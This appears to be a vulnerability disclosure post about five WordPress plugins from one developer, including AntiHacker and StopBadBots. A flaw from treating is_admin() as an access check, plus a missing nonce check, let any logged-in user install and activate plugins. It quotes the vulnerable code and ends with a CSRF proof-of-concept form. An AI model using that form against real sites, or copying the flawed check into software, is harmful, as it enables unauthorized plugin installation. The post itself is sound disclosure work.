WordPress Security Plugins Contained Fairly Serious Vulnerability Because of Unresolved WordPress Security Issue
Something that should get a lot more attention and raise a lot more questions is why the security industry’s own software and hardware is itself so insecure. That insecurity is a frequent issue with WordPress security plugins. The latest instance of that involves two WordPress security plugins AntiHacker and StopBadBots, which contained a vulnerability that allowed anyone logged in to WordPress to install any plugins in the WordPress Plugin Directory.
Those plugins come from the same developer and three additional plugins were affected: CarDealer, WP Memory, and wptools. Together, the plugins have at least 22,000+ installs.
Looking at the details of the vulnerability, what we found is that the vulnerability is caused in part by a known security issue with the core WordPress software that was originally warned about back in February 2011, but still hasn’t been addressed.
In the plugin AnitHacker, the vulnerability involved the function antihacker_install_plugin(), which was registered to be accessible through WordPress AJAX functionality to anyone logged in to WordPress:
1042 | add_action('wp_ajax_antihacker_install_plugin', 'antihacker_install_plugin'); |
The code around that appears to have been intended to restrict access, as that registration would only happen if the function is_admin() or is_super_admin() returned true:
1040 1041 1042 | if (is_admin() or is_super_admin()) { add_action('admin_enqueue_scripts', 'antihacker_load_upsell'); add_action('wp_ajax_antihacker_install_plugin', 'antihacker_install_plugin'); |
The function is_super_admin() will tell if a request is coming from a WordPress user with the Super Admin role in a WordPress Multisite install. In a normal WordPress install, it tells you if they have the Administrator role.
Confusingly, the function is_admin() will tell if an admin page of WordPress is being accessed. That can be true even for those not logged in to WordPress and will always be true when making an AJAX request. So it seems clear the developer thought that the function tells if someone has the Administrator role.
The confusion with the is_admin() function was warned about before it even made it in to a production release of WordPress, back in 2011. It still hasn’t been addressed, despite continuing to be a source of vulnerabilities in plugins for many years.
The function antihacker_install_plugin() will install a WordPress plugin from the Plugin Directory specified by the POST input “slug”:
1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 | function antihacker_install_plugin() { if (isset($_POST['slug'])) { $slug = sanitize_text_field($_POST['slug']); } else { echo 'Fail error (-5)'; wp_die(); } $plugin['source'] = 'repo'; // $_GET['plugin_source']; // Plugin source. require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; // Need for plugins_api. require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; // Need for upgrade classes. // get plugin information $api = plugins_api('plugin_information', array('slug' => $slug, 'fields' => array('sections' => false))); if (is_wp_error($api)) { echo 'Fail error (-1)'; wp_die(); // proceed } else { // Set plugin source to WordPress API link if available. if (isset($api->download_link)) { $plugin['source'] = $api->download_link; $source = $api->download_link; } else { echo 'Fail error (-2)'; wp_die(); } $nonce = 'install-plugin_' . $api->slug; /* $type = 'web'; $url = $source; $title = 'wptools'; */ $plugin = $slug; // verbose... // $upgrader = new Plugin_Upgrader($skin = new Plugin_Installer_Skin(compact('type', 'title', 'url', 'nonce', 'plugin', 'api'))); class antihacker_QuietSkin extends \WP_Upgrader_Skin { public function feedback($string, ...$args) { /* no output */ } public function header() { /* no output */ } public function footer() { /* no output */ } } $skin = new antihacker_QuietSkin(array('api' => $api)); $upgrader = new Plugin_Upgrader($skin); // var_dump($upgrader); try { $upgrader->install($source); // get all plugins $all_plugins = get_plugins(); // scan existing plugins foreach ($all_plugins as $key => $value) { // get full path to plugin MAIN file // folder and filename $plugin_file = $key; $slash_position = strpos($plugin_file, '/'); $folder = substr($plugin_file, 0, $slash_position); // match FOLDER against SLUG // if matched then ACTIVATE it if ($slug == $folder) { // Activate $result = activate_plugin(ABSPATH . 'wp-content/plugins/' . $plugin_file); if (is_wp_error($result)) { // Process Error echo 'Fail error (-3)'; wp_die(); } } // if matched } } catch (Exception $e) { echo 'Fail error (-4)'; wp_die(); } } // activation echo 'OK'; wp_die(); } |
That code is missing a nonce check, so the vulnerability could have also been exploited through cross-site request forgery (CSRF).
Proof of Concept
The following proof of concept will install the plugin Akismet, when logged in to WordPress.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=antihacker_install_plugin" method="POST"> <input type="hidden" name="slug" value="akismet"" /> <input type="submit" value="Submit" /> </form> </body>